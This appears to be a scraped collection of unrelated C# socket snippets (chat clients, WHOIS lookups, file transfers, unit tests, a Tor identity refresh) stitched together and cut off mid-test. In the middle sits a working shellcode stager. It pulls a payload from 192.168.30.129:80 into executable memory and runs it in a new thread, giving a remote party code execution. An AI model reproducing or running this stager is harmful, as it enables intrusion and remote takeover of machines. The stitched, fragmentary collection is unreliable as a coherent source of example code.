static void Main(string[] args)
{
Socket s=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
IPEndPoint ie=new IPEndPoint(IPAddress.Parse("127.0.0.1"),9000);
s.Connect(ie);
Console.WriteLine("Connected to Server.....");
byte[] data=new byte[1024];
int k=s.Receive(data);
Console.WriteLine("Loi chao tu Server:{0}",Encoding.ASCII.GetString(data,0,k));
while(true)
{
Console.WriteLine("Moi nhap du lieu can tinh");
string st=Console.ReadLine();
byte[] dl=new byte[1024];
dl=Encoding.ASCII.GetBytes(st);
s.Send(dl,dl.Length,SocketFlags.None);
if(st.ToUpper().Equals("QUIT"))
break;
dl=new byte[1024];
int k1=s.Receive(dl);
Console.WriteLine("Ket qua tinh tong tu server tra ve:{0}", Encoding.ASCII.GetString(dl, 0, k1));
}
s.Disconnect(true);
s.Close();
}
private void btnkq_Click(object sender, EventArgs e)
{
Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint ie = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 9000);
s.Connect(ie);
byte[] data = new byte[1024];
int k = s.Receive(data);
MessageBox.Show("welcome",Encoding.ASCII.GetString(data,0,k));
while (true)
{
String strA = txta.Text.ToString();
String strB = txtb.Text.ToString();
String str = strA + strB;
byte[] dl = new byte[1024];
dl = Encoding.ASCII.GetBytes(str);
s.Send(dl, dl.Length, SocketFlags.None);
if (str.ToUpper().Equals("QUIT"))
break;
dl = new byte[1024];
int k1 = s.Receive(dl);
String KQ = Encoding.ASCII.GetString(dl,0,k1);
txtkq.Text = KQ.ToString();
}
s.Disconnect(true);
s.Close();
}
//Connect to the client
public void connect()
{
if (!clientConnected)
{
IPAddress ipAddress = IPAddress.Any;
TcpListener listener = new TcpListener(ipAddress, portSend);
listener.Start();
Console.WriteLine("Server is running");
Console.WriteLine("Listening on port " + portSend);
Console.WriteLine("Waiting for connections...");
while (!clientConnected)
{
s = listener.AcceptSocket();
s.SendBufferSize = 256000;
Console.WriteLine("Connection accepted from " + s.RemoteEndPoint);
byte[] b = new byte[65535];
int k = s.Receive(b);
ASCIIEncoding enc = new ASCIIEncoding();
Console.WriteLine("Received:" + enc.GetString(b, 0, k) + "..");
//Ensure the client is who we want
if (enc.GetString(b, 0, k) == "hello" || enc.GetString(b, 0, k) == "hellorcomplete")
{
clientConnected = true;
Console.WriteLine(enc.GetString(b, 0, k));
}
}
}
}
static void Main(string[] args)
{
byte[] receiveBytes = new byte[1024];
int port =8080;//服务器端口
string host = "10.3.0.1"; //服务器ip
IPAddress ip = IPAddress.Parse(host);
IPEndPoint ipe = new IPEndPoint(ip, port);//把ip和端口转化为IPEndPoint实例
Console.WriteLine("Starting Creating Socket Object");
Socket sender = new Socket(AddressFamily.InterNetwork,
SocketType.Stream,
ProtocolType.Tcp);//创建一个Socket
sender.Connect(ipe);//连接到服务器
string sendingMessage = "Hello World!";
byte[] forwardingMessage = Encoding.ASCII.GetBytes(sendingMessage + "[FINAL]");
sender.Send(forwardingMessage);
int totalBytesReceived = sender.Receive(receiveBytes);
Console.WriteLine("Message provided from server: {0}",
Encoding.ASCII.GetString(receiveBytes,0,totalBytesReceived));
//byte[] bs = Encoding.ASCII.GetBytes(sendStr);
sender.Shutdown(SocketShutdown.Both);
sender.Close();
Console.ReadLine();
}
/// <summary>
/// Recibe un mensaje de TGC por un socket
/// </summary>
/// <param name="socket">Socket del cual recibir</param>
/// <param name="msgType">Tipo de mensaje esperado</param>
/// <returns>Mensaje recibido o null si recibió mal</returns>
public static TgcSocketRecvMsg receiveMessage(Socket socket, TgcSocketMessageHeader.MsgType msgType)
{
try
{
//Recibir header
byte[] headerData = new byte[TgcSocketMessageHeader.HEADER_SIZE];
int recv = socket.Receive(headerData, headerData.Length, SocketFlags.None);
if (recv == TgcSocketMessageHeader.HEADER_SIZE)
{
int msgLength = BitConverter.ToInt32(headerData, 0);
//Recibir cuerpo del mensaje
byte[] msgData = new byte[msgLength];
recv = socket.Receive(msgData, msgData.Length, SocketFlags.None);
if (recv == msgLength)
{
TgcSocketRecvMsg recvMsg = new TgcSocketRecvMsg(msgData);
return recvMsg;
}
}
}
catch (Exception)
{
return null;
}
return null;
}
public static string Whois(string domain, string host)
{
if (domain == null)
throw new ArgumentNullException();
string ret = "";
Socket s = null;
try
{
s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
s.Connect(new IPEndPoint(Dns.Resolve(host).AddressList[0], 43));
s.Send(Encoding.ASCII.GetBytes(domain + "\r\n"));
byte[] buffer = new byte[1024];
int recv = s.Receive(buffer);
while (recv > 0)
{
ret += Encoding.ASCII.GetString(buffer, 0, recv);
recv = s.Receive(buffer);
}
s.Shutdown(SocketShutdown.Both);
}
catch(Exception e)
{
Terminals.Logging.Log.Info("", e);
ret = "Could not connect to WhoIs Server. Please try again later.\r\n\r\nDetails:\r\n" + e.ToString();
}
finally
{
if (s != null)
s.Close();
}
return ret;
}
/// <summary>
///
/// </summary>
private void ThreadPro()
{
while (!mIsClosed)
{
if (mClient != null && IsOnline(mClient) && mClient.Available > 0 && !mIsTransparentRead)
{
var vdlen = mClient.Available;
byte[] btmp = new byte[vdlen];
mClient.Receive(btmp, 0, btmp.Length, System.Net.Sockets.SocketFlags.None);
if (mForSyncCall)
{
lock (mLockObj)
{
mReceiveDataLen += btmp.Length;
mReceiveBuffers.Enqueue(btmp);
}
}
else
{
OnReceiveCallBack("", btmp);
}
}
else
{
if (mClient != null && !IsOnline(mClient))
{
StartConnect();
Thread.Sleep(mData.ReTryDuration);
}
}
Thread.Sleep(1);
}
}
// Start the stream socket server
public static int StartMirametrixStream(Socket server)
{
byte[] msg_pog_fix = Encoding.UTF8.GetBytes("<SET ID=\"ENABLE_SEND_POG_FIX\" STATE=\"1\" />\r\n\"");
byte[] msg_send_data = Encoding.UTF8.GetBytes("<SET ID=\"ENABLE_SEND_DATA\" STATE=\"1\" />\r\n\"");
byte[] bytes = new byte[1024];
try
{
// ask server to send pog fix data
int byteCount = server.Send(msg_pog_fix, SocketFlags.None);
byteCount = server.Receive(bytes, SocketFlags.None);
if (byteCount > 0)
{
bytes = new byte[1024];
}
// then send data
int byteCount2 = server.Send(msg_send_data, SocketFlags.None);
byteCount = server.Receive(bytes, SocketFlags.None);
}
catch (SocketException e)
{
Console.WriteLine("Error code: no formatting for you");
return (e.ErrorCode);
}
return 0;
}
private void button1_Click(object sender, EventArgs ev)
{
Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
s.Connect("192.168.16.170", 10000);
byte[] buf;
buf = new byte[] { 0x00,0x06,0x10,0x12,0x00,0x00 };
s.Send(buf);
byte[] rec=new byte[128];
int r = 0;
s.ReceiveTimeout = 1000;
try
{
r = s.Receive(rec);
Debug.WriteLine(FUNC.BytesToString(rec, 0, r));
r = s.Receive(rec);
Debug.WriteLine(FUNC.BytesToString(rec, 0, r));
}
catch (Exception e)
{
Debug.WriteLine(e.Message);
}
s.Disconnect(false);
}
static void Main(string[] args)
{
//TODO: 1. Utworzenie punktu połączenia do serwera - IPEndPoint
var punktSerwer = new IPEndPoint(IPAddress.Parse("192.168.1.163"), 2000);
//TODO: 2. Utworzenie gniazda połączenia - Socket
var gniazdoSerwer = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
//TODO: 3. Połączenie z serwerem - Socket.Connect
gniazdoSerwer.Connect(punktSerwer); //połączenie z serwerem
//TODO: 4. Pobranie danych z serwera - Socket.Receive(ASCIIEncoding)
var tablicaDane = new byte[64]; //Bajt
gniazdoSerwer.Receive(tablicaDane); //Oczekiwanie i pobranie danych
Console.WriteLine(Encoding.UTF8.GetString(tablicaDane));
var watek = new Thread(WysylanieCzat); //wątek dla nadłuchiwania z klawiatury i wysyłania do serwera
watek.IsBackground = true;
watek.Start(gniazdoSerwer);
while (true) //pętla dla obierania wiadomości
{
var dane = new byte[512]; //256 -> 3 znaki + 253 spacje
gniazdoSerwer.Receive(dane);
Console.WriteLine(Encoding.UTF8.GetString(dane));
}
//Kod - klient równocześnie wysyła i odbiera komunikaty
}
private void nhapDL()
{
Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint ie = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 9000);
s.Connect(ie);
while (true)
{
MessageBox.Show("Connected to Server.....");
byte[] data = new byte[1024];
int k1 = s.Receive(data);
string A = txtNumber1.Text;
string B = txtNumber2.Text;
string gep = string.Concat(A, "-", B).Trim();
data = Encoding.ASCII.GetBytes(gep);
s.Send(data, data.Length, SocketFlags.None);
data = new byte[1024];
int k = s.Receive(data);
txtKQ.Text += Encoding.ASCII.GetString(data, 0, k);
if (Convert.ToInt32(txtNumber1.Text)==0 && Convert.ToInt32(txtNumber2.Text)==0)
{
MessageBox.Show("End connect...");
break;
}
}
}
void bg_DoWork(object sender, DoWorkEventArgs e)
{
clientSock = sock.Accept();
while (clientSock.Connected)
{
byte[] buff = new byte[3];
clientSock.Receive(buff);
switch (buff[0])
{
case 0xAA://Mapa
OnsockAdmi(new sockEventArgs(0xBB, buff[1], buff[2]));
break;
case 0xCC://combustible
OnsockAdmi(new sockEventArgs(0xDD, buff[1], buff[2]));
break;
case 0xEE://movimiento
byte[] dir = new byte[1];
clientSock.Receive(dir);
OnsockAdmi(new sockEventArgs(0xFF, buff[1], buff[2], dir[0]));
break;
default:
break;
}
}
}
public bool DownloadFile()
{
Socket connectServer = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint iep = new IPEndPoint(IPAddress.Parse(ipaddress), int.Parse(port));
connectServer.Connect(iep);
Byte[] sendHeader = Encoding.GetEncoding("UTF-8").GetBytes(filepath);
connectServer.Send(sendHeader);
Byte[] buffer = new Byte[10240];
int num = connectServer.Receive(buffer);
long needReceive = long.Parse(Encoding.GetEncoding("UTF-8").GetString(buffer, 0, num));
FileInfo file = new FileInfo(filename);
FileStream writer = file.Open(file.Exists ? FileMode.Append : FileMode.CreateNew, FileAccess.Write, FileShare.None);
long receive = writer.Length;
int received = 0;
while (receive < needReceive)
{
if ((received = connectServer.Receive(buffer)) == 0) break;
writer.Write(buffer, 0, received);
writer.Flush();
receive += (long)received;
Thread.Sleep(200);
}
writer.Close();
return true;
}
public void RefreshTorIdentity()
{
Socket server = null;
try
{
IPEndPoint ip = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 9151);
server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
server.Connect(ip);
// Please be sure that you have executed the part with the creation of an authentication hash, described in my article!
server.Send(Encoding.ASCII.GetBytes("AUTHENTICATE \"johnsmith\"" + Environment.NewLine));
byte[] data = new byte[1024];
int receivedDataLength = server.Receive(data);
string stringData = Encoding.ASCII.GetString(data, 0, receivedDataLength);
server.Send(Encoding.ASCII.GetBytes("SIGNAL NEWNYM" + Environment.NewLine));
data = new byte[1024];
receivedDataLength = server.Receive(data);
stringData = Encoding.ASCII.GetString(data, 0, receivedDataLength);
if (!stringData.Contains("250"))
{
Console.WriteLine("Unable to signal new user to server.");
server.Shutdown(SocketShutdown.Both);
server.Close();
}
}
finally
{
server.Close();
}
}
private void ClientThreadStart()
{
Socket clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp );
clientSocket.Connect(new IPEndPoint(IPAddress.Parse("127.0.0.1"),31001));
// Send the file name.
clientSocket.Send(Encoding.ASCII.GetBytes(m_fileName));
// Receive the length of the filename.
byte [] data = new byte[128];
clientSocket.Receive(data);
int length=BitConverter.ToInt32(data,0);
clientSocket.Send(Encoding.ASCII.GetBytes(m_fileName+":"+"this is a test\r\n"));
clientSocket.Send(Encoding.ASCII.GetBytes(m_fileName+":"+"THIS IS "));
clientSocket.Send(Encoding.ASCII.GetBytes("ANOTHRER "));
clientSocket.Send(Encoding.ASCII.GetBytes("TEST."));
clientSocket.Send(Encoding.ASCII.GetBytes("\r\n"));
clientSocket.Send(Encoding.ASCII.GetBytes(m_fileName+":"+"TEST.\r\n"+m_fileName+":"+"TEST AGAIN.\r\n"));
clientSocket.Send(Encoding.ASCII.GetBytes("[EOF]\r\n"));
// Get the total length
clientSocket.Receive(data);
length=BitConverter.ToInt32(data,0);
clientSocket.Close();
}
private void Receive(Socket sourceSocket)
{
try {
List<byte> bufferComplete = new List<byte>();
// TODO: Make configurable
byte[] bufferReceive = new byte[1024];
int bytesRead = sourceSocket.Receive(bufferReceive);
while (bytesRead > 0) {
bufferComplete.AddRange(bufferReceive.Take(bytesRead));
// TODO: Make configurable
for (int i = 0; i < 10; i++) {
Console.WriteLine("Is more data available: " + sourceSocket.Available);
if (sourceSocket.Available > 0) {
break;
}
// TODO: Make configurable
Thread.Sleep(100);
}
if (sourceSocket.Available == 0) {
break;
}
bytesRead = sourceSocket.Receive(bufferReceive);
}
Guid guid = WriteRequestToFile(bufferComplete.ToArray());
byte[] response = WaitForResponse(guid);
if (response != null) {
sourceSocket.Send(response);
Console.WriteLine("Returned data to client: " + response.Length);
}
} catch (Exception e) {
Console.WriteLine("Error: " + e);
} finally {
sourceSocket.Close();
}
}
public MainWindow() {
InitializeComponent();
Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
// 2. fill in the remote IP
IPAddress IP = IPAddress.Parse("127.0.0.1");
IPEndPoint IPE = new IPEndPoint(IP, 4321);
Console.WriteLine("started connection service ....");
// 3. connect to the server
S.Connect(IPE);
// 4. receive data
byte[] buffer = new byte[1000000];
S.Receive(buffer, 0, buffer.Length, SocketFlags.None);
if (buffer[0] == Encoding.ASCII.GetBytes("S")[0]) {
Console.WriteLine("Received START MESSAGE (\"S\")");
S.Receive(buffer, 0, buffer.Length, SocketFlags.None);
}
//var Msg = Encoding.Unicode.GetString (buffer);
//Console.WriteLine ("received message: (0)", msg);
Console.WriteLine("Receive success");
FileStream fs = File.Create("received.jpg");
fs.Write(buffer, 0, buffer.Length);
fs.Close();
//MemoryStream ms = new MemoryStream(buffer);
imageBox.Source = ByteImageConverter.ByteToImage(buffer);
}
static void Main()
{
IPEndPoint ip = new IPEndPoint(IPAddress.Parse("192.168.30.129"), 80);
Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try
{
sock.Connect(ip);
}
catch (SocketException e)
{
return;
}
byte[] length_raw = new byte[4];
// receive our 4 byte length from the server
sock.Receive(length_raw, 4, 0);
// convert the binary data to an integer length
int length = BitConverter.ToInt32(length_raw, 0);
byte[] shellcode = new byte[length + 5];
int total_bytes = 0;
// make sure we receive all of the payload
while (total_bytes < length)
{
byte[] buffer = new byte[length];
int bytes_received = sock.Receive(buffer);
// copy the temp byte[] into our shellcode array
Array.Copy(buffer, 0, shellcode, 5 + total_bytes, bytes_received);
total_bytes += bytes_received;
}
// get the socket handle
byte[] handle = BitConverter.GetBytes((int)sock.Handle);
// copy the socket handle into the shellcode
Array.Copy(handle, 0, shellcode, 1, 4);
shellcode[0] = 0xBF; // little assembly magic to push the socket # into EDI
// allocate a RWX page
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// copy the shellcode into the page
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
// prepare data
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
private void ClientThreadStart()
{
Socket clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
clientSocket.Connect(new IPEndPoint(IPAddress.Parse("127.0.0.1"), 31001));
var someMacroObj = new MacroObj();
someMacroObj.cmd = "start";
someMacroObj.pathExec = "C:\\Program Files(x86)\\Google\\Chrome\\Application\\chrome.exe\\";
someMacroObj.paramObj = "http://www.kree8tive.dk";
var json = new JavaScriptSerializer().Serialize(someMacroObj);
// Send the file name.
clientSocket.Send(Encoding.ASCII.GetBytes(m_fileName));
// Receive the length of the filename.
byte[] data = new byte[128];
clientSocket.Receive(data);
int length = BitConverter.ToInt32(data, 0);
clientSocket.Send(Encoding.ASCII.GetBytes(json + "\r\n"));
clientSocket.Send(Encoding.ASCII.GetBytes("[EOF]\r\n"));
/*
What does this bit do ???
Necessary ?
*/
// Get the total length
clientSocket.Receive(data);
length=BitConverter.ToInt32(data,0);
/* ? */
clientSocket.Close();
}
/// <summary>
/// 域名注册信息
/// </summary>
/// <param name="domain">输入域名，不包含www</param>
/// <returns></returns>
public static string GetDomain(string domain) {
string strServer;
string whoisServer = "whois.internic.net,whois.cnnic.net.cn,whois.publicinterestregistry.net,whois.nic.gov,whois.hkdnr.net.hk,whois.nic.name";
string[] whoisServerList = Regex.Split(whoisServer, ",", RegexOptions.IgnoreCase);
if (domain == null)
throw new ArgumentNullException();
int ccStart = domain.LastIndexOf(".");
if (ccStart < 0 || ccStart == domain.Length)
throw new ArgumentException();
//根据域名后缀选择服务器
string domainEnd = domain.Substring(ccStart + 1).ToLower();
switch (domainEnd) {
default: //.COM, .NET, .EDU
strServer = whoisServerList[0];
break;
case "cn": //所有.cn的域名
strServer = whoisServerList[1];
break;
case "org": //所有.org的域名
strServer = whoisServerList[2];
break;
case "gov": //所有.gov的域名
strServer = whoisServerList[3];
break;
case "hk": //所有.hk的域名
strServer = whoisServerList[4];
break;
case "name": //所有.name的域名
strServer = whoisServerList[5];
break;
}
string ret = "";
Socket s = null;
try {
string cc = domain.Substring(ccStart + 1);
s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
s.SendTimeout = 900;
s.Connect(new IPEndPoint(Dns.Resolve(strServer).AddressList[0], 43));
s.Send(Encoding.ASCII.GetBytes(domain + "\r\n"));
byte[] buffer = new byte[1024];
int recv = s.Receive(buffer);
while (recv > 0) {
ret += Encoding.UTF8.GetString(buffer, 0, recv);
recv = s.Receive(buffer);
}
s.Shutdown(SocketShutdown.Both);
} catch (SocketException ex) {
return ex.Message;
} finally {
if (s != null)
s.Close();
}
return ret;
}
public void TestBkToCipherTextOnSocket()
{
_bkToCipherText = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
var endpt = new IPEndPoint(IPAddress.Loopback, BK_CT_PORT);
_bkToCipherText.Connect(endpt);
var bytesSent = _bkToCipherText.Send(Encoding.UTF8.GetBytes(TEST_INPUT));
var buffer = new List<byte>();
var data = new byte[256];
_bkToCipherText.Receive(data, 0, data.Length, SocketFlags.None);
buffer.AddRange(data.Where(b => b != (byte)'\0'));
while (_bkToCipherText.Available > 0)
{
data = new byte[_bkToCipherText.Available];
_bkToCipherText.Receive(data, 0, data.Length, SocketFlags.None);
buffer.AddRange(data.Where(b => b != (byte)'\0'));
}
_bkToCipherText.Close();
var cipherdata = Encoding.UTF8.GetString(buffer.ToArray());
NoFuture.Shared.CipherText cipherText;
var parseResult = NoFuture.Shared.CipherText.TryParse(cipherdata, out cipherText);
Assert.IsTrue(parseResult);
Console.WriteLine(cipherText.ToString());
}
public void ReadData(Socket stream, out byte[] readBytes)
{
readBytes = new byte[sizeof(ushort)];
stream.Receive(readBytes);
int length = BitConverter.ToUInt16(readBytes, 0);
readBytes = new byte[length];
stream.Receive(readBytes);
}
public string Receive()
{
byte[] bytes = new byte[1024];
int bytesRec = m_socket.Receive(bytes);
return(Encoding.UTF8.GetString(bytes, 0, bytesRec));
// Console.WriteLine(Encoding.UTF8.GetString(bytes, 0, bytesRec));
}
static void Main(string[] args)
{
Console.WriteLine("Start Client");
Socket client_socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
//Console.WriteLine("Enter server IP:");
string ip_str = "127.0.0.1";
int port = 2000;
IPHostEntry ipList = Dns.Resolve(ip_str);
IPAddress ip = ipList.AddressList[0];
IPEndPoint endPoint = new IPEndPoint(ip, port);
client_socket.Connect(endPoint);
byte[] firstAnswer = new byte[1024];
int byteCount = client_socket.Receive(firstAnswer);
string fromServerMessage = Encoding.UTF8.GetString(firstAnswer, 0, byteCount);
Console.WriteLine(fromServerMessage);
string message = string.Empty;
message = Console.ReadLine();
byte[] message_name = Encoding.UTF8.GetBytes(message);
client_socket.Send(message_name);
byte[] secondAnswer = new byte[1024];
int byteCount2 = client_socket.Receive(secondAnswer);
string fromServerMessage2 = Encoding.UTF8.GetString(secondAnswer, 0, byteCount);
Console.WriteLine(fromServerMessage2);
if (fromServerMessage2.Contains("Welcome"))
{
Thread ear = new Thread(EarMethod);
ear.Start(client_socket);
try
{
while (true)
{
//Console.Write("Message: ");
message = Console.ReadLine();
byte[] mesage_buffer = Encoding.UTF8.GetBytes(message);
client_socket.Send(mesage_buffer);
}
}
catch (SocketException exp)
{
Console.WriteLine("Error. " + exp.Message);
}
}
//Console.Read();
}
public static BaseMessage Receive(Socket socket)
{
byte[] byteSize = new byte[4];
socket.Receive(byteSize);
int size = MessageSerialization.GetMessageSize(byteSize);
byte[] payload = new byte[size];
socket.Receive(payload);
BaseMessage message = MessageSerialization.Deserialze(payload);
return message;
}
void filerecv(string savepath, System.Net.Sockets.Socket socket)
{
int done = 0;
byte[] namebuf = new byte[1024];
byte[] buffer = new byte[packagesize];
FileStream fs = null;
int sendn = 0;
Console.Write("等待对方发送文件 ");
Program pro = new Program();
Thread wat = new Thread(pro.waitingth);
wat.Start();
while (done == 0)
{
int n = socket.Receive(namebuf);
string namestr = Encoding.UTF8.GetString(namebuf, 0, n);
// Console.WriteLine("STATR "+namestr);
// char[] splitchar = @"@#@".ToCharArray();
string[] namestack = namestr.Split(@"@#@".ToCharArray());
sendn = int.Parse(namestack[3]);
Console.WriteLine("");
Console.WriteLine("File => " + namestack[0]);
Console.WriteLine("Length => " + sendn.ToString());
done = 1;
try{
fs = File.OpenWrite(@"C:\Users\Administrator\Desktop\" + namestack[0]);
}
catch (Exception)
{
done = 0;
}
}
wat.Abort();
Console.WriteLine("");
int recvn = 1;
for (recvn = 1; recvn <= sendn; recvn++)
{
int leng = socket.Receive(buffer);
fs.Position = fs.Length;
fs.Write(buffer, 0, leng);
Console.WriteLine("Process recv -> (" + recvn.ToString() + " | " + sendn.ToString() + ")");
Thread.Sleep(new Program().recvslp);
}
Console.WriteLine("");
Writeyel("---Receive done---");
// Writeyel("File: "+namebuf);
}
/// <summary>
/// Create a new instance of chunked.
/// </summary>
/// <param name="f"></param>
public Chunked(Socket f, byte[] oldbuffer, int size)
{
//Find first chunk.
if (IsChunked(oldbuffer))
{
int endofheader = oldbuffer.FindString("\r\n\r\n");
int endofchunked = oldbuffer.FindString("\r\n", endofheader + 4);
//
string chunked = oldbuffer.GetBetween(endofheader + 4, endofchunked);
//convert chunked data to int.
int totallen = chunked.FromHex();
//
if (totallen > 0)
{
//start a while loop and receive till end of chunk.
totalbuff = new byte[65535];
finalbuff = new byte[size];
//remove chunk data before adding.
oldbuffer = oldbuffer.ReplaceBetween(endofheader + 4, endofchunked + 2, new byte[] { });
Buffer.BlockCopy(oldbuffer, 0, finalbuff, 0, size);
if (f.Connected)
{
int totalchunksize = 0;
int received = f.Receive(totalbuff, 0, totalbuff.Length, SocketFlags.None);
while ((totalchunksize = GetChunkSize(totalbuff, received)) != -1)
{
//add data to final byte buffer.
byte[] chunkedData = GetChunkData(totalbuff, received);
byte[] tempData = new byte[chunkedData.Length + finalbuff.Length];
//get data AFTER chunked response.
Buffer.BlockCopy(finalbuff, 0, tempData, 0, finalbuff.Length);
Buffer.BlockCopy(chunkedData, 0, tempData, finalbuff.Length, chunkedData.Length);
//now add to finalbuff.
finalbuff = tempData;
//receive again.
if (totalchunksize == -2)
break;
else
received = f.Receive(totalbuff, 0, totalbuff.Length, SocketFlags.None);
}
//end of chunk.
Console.WriteLine("Got chunk! Size: {0}", finalbuff.Length);
}
}
else
{
finalbuff = new byte[size];
Buffer.BlockCopy(oldbuffer, 0, finalbuff, 0, size);
}
}
}
//
//
//
public int ReceiveBytes()
{
Array.Clear(_receiveBuffer, 0, _receiveBuffer.Length);
if (_socket == null)
{
throw new SocketException("Socket is null.");
}
_socket.Poll(-1, SNS.SelectMode.SelectRead); // wait until we can read
// read the 4 byte header that tells us how many bytes we will get
byte[] readHeader = new byte[4];
_socket.Receive(readHeader, 0, 4, SNS.SocketFlags.None);
int bytesToRead = BitConverter.ToInt32(readHeader, 0);
//Helper.WriteLine( "+++bytesToRead==" + bytesToRead ) ;
// read the bytes in a loop
int readBlockSize = (int)_socket.GetSocketOption(SNS.SocketOptionLevel.Socket, SNS.SocketOptionName.ReceiveBuffer);
//Helper.WriteLine( "+++readBlockSize==" + readBlockSize ) ;
int bytesReadSoFar = 0;
while (true)
{
int bytesLeftToRead = bytesToRead - bytesReadSoFar;
if (bytesLeftToRead <= 0)
{
break; // finished receiving
}
_socket.Poll(-1, SNS.SelectMode.SelectRead); // wait until we can read
// do the read
int bytesToReadThisTime = Math.Min(readBlockSize, bytesLeftToRead);
if (bytesToReadThisTime + bytesReadSoFar > SocketConstants.SOCKET_MAX_TRANSFER_BYTES)
{
throw new SocketException("You are trying to read " + bytesToRead + " bytes. Dont read more than " + SocketConstants.SOCKET_MAX_TRANSFER_BYTES + " bytes.");
}
int bytesReadThisTime = _socket.Receive(_receiveBuffer, bytesReadSoFar, bytesToReadThisTime, SNS.SocketFlags.None);
//Helper.WriteLine( "+++bytesReadThisTime==" + bytesReadThisTime ) ;
bytesReadSoFar += bytesReadThisTime;
}
_statsBytesReceived += bytesReadSoFar; // update stats
//Helper.WriteLine( "+++finished reading" ) ;
return(bytesReadSoFar);
}
public static void ReadResponseUntilContent(Socket sck)
{
byte[] b = new byte[65536];
int bytesRead = sck.Receive(b);
Assert.IsTrue(bytesRead > 0);
string response = Encoding.UTF8.GetString(b, 0, bytesRead);
while (!response.Contains("\r\n\r\n"))
{
bytesRead = sck.Receive(b);
Assert.IsTrue(bytesRead > 0);
response += Encoding.UTF8.GetString(b, 0, bytesRead);
}
}
private void AcceptCallback(Socket socket)
{
const int fullLength = 1024 * 1024;
var receivedData = new byte[fullLength];
var length = socket.Receive(receivedData);
var k = length;
while (length > 0)
{
length = socket.Receive(receivedData, k, fullLength - k, SocketFlags.None);
k += length;
}
socket.Close();
myDataConsumer.PutData(receivedData, k);
}
public int send(string Address, string file, int port, bool SaveLog)
{
try
{
Debug.WriteLine("Starting sender....");
IPEndPoint ipEndPoint = CreateIPEndPoint(Address + ":" + port.ToString());
Debug.WriteLine("IpEndPoint created");
Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
Debug.WriteLine("client created");
client.Connect(ipEndPoint);
Debug.WriteLine("Connected");
byte[] data = new byte[11];
Debug.WriteLine("data created");
client.Receive(data);
Debug.WriteLine("Recieved data:");
string RecivedData = "";
for (int i = 0; i < data.Length; i++) RecivedData = RecivedData + data[i].ToString();
Debug.WriteLine(RecivedData);
string ShouldRecive = "";
for (int i = 0; i < Encoding.UTF8.GetBytes("YATA SENDER").Length; i++) ShouldRecive = ShouldRecive + Encoding.UTF8.GetBytes("YATA SENDER")[i].ToString();
if (!RecivedData.Contains(ShouldRecive)) { return 1;}
Debug.WriteLine("data matches YATA SENDER");
if (!File.Exists(file)) { return 2; }
Debug.WriteLine("File exists");
client.SendFile(file);
ShouldRecive = "";
for (int i = 0; i < Encoding.UTF8.GetBytes("YATA TERM").Length; i++) ShouldRecive = ShouldRecive + Encoding.UTF8.GetBytes("YATA TERM")[i].ToString();
data = new byte[9];
client.Receive(data);
RecivedData = "";
for (int i = 0; i < data.Length; i++) RecivedData = RecivedData + data[i].ToString();
Debug.WriteLine(RecivedData);
if (!RecivedData.Contains(ShouldRecive)) { Debug.WriteLine("YATA TERM not recived"); return 2; }
client.Shutdown(SocketShutdown.Both);
Debug.WriteLine("Client shutdown");
client.Close();
Debug.WriteLine("Client close");
return 0;
}
catch (Exception ex)
{
Debug.WriteLine("Exception:");
Debug.WriteLine("Message" + ex.Message);
Debug.WriteLine("Inner exception" + ex.InnerException);
Debug.WriteLine(ex.ToString());
// MessageBox.Show("There was an error: " + ex.Message + "\r\n" + ex.InnerException);
return -1;
}
}
public static byte[] checkMessageContent(Socket socket)
{
byte[] content = null;
byte[] length = new byte[255];
socket.Receive(length, 255, SocketFlags.None);
int reallength = BitConverter.ToInt32(length, 0);
if (reallength > 0)
{
int contentLength = BitConverter.ToInt32(length, 0);
content = new byte[contentLength];
socket.Receive(content, contentLength, SocketFlags.None);
}
return content;
}
public void SendRecvTest()
{
isRecv = false;
var server = new Listener<object>();
server.StartServer(4531);
server.SocketConnect += OnSocketRecvConnect;
server.SocketRecv += server_SocketRecv;
Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
client.Connect("localhost", 4531);
Assert.IsTrue(client.Connected);
if (!UnitTestUtil.Wait(1000, () => isRecvConnect))
Assert.Fail("socket连接在超时后，未出发连接事件。");
var buffer = new byte[4];
buffer[0] = 1;
buffer[3] = 255;
client.Send(buffer, buffer.Length, SocketFlags.None);
if (!UnitTestUtil.Wait(1000, () => isRecv))
Assert.Fail("socket连接成功后发数据，服务器没收到数据。");
var outbuffer = new byte[10];
var len = client.Receive(outbuffer);
Assert.AreEqual(len, 4);
Assert.AreEqual(outbuffer[0], 1);
Assert.AreEqual(outbuffer[3], 255);
Assert.AreEqual(outbuffer[4], 0);
// 再发送测试一次
isRecv = false;
client.Send(buffer, 2, SocketFlags.None);
if (!UnitTestUtil.Wait(1000, () => isRecv))
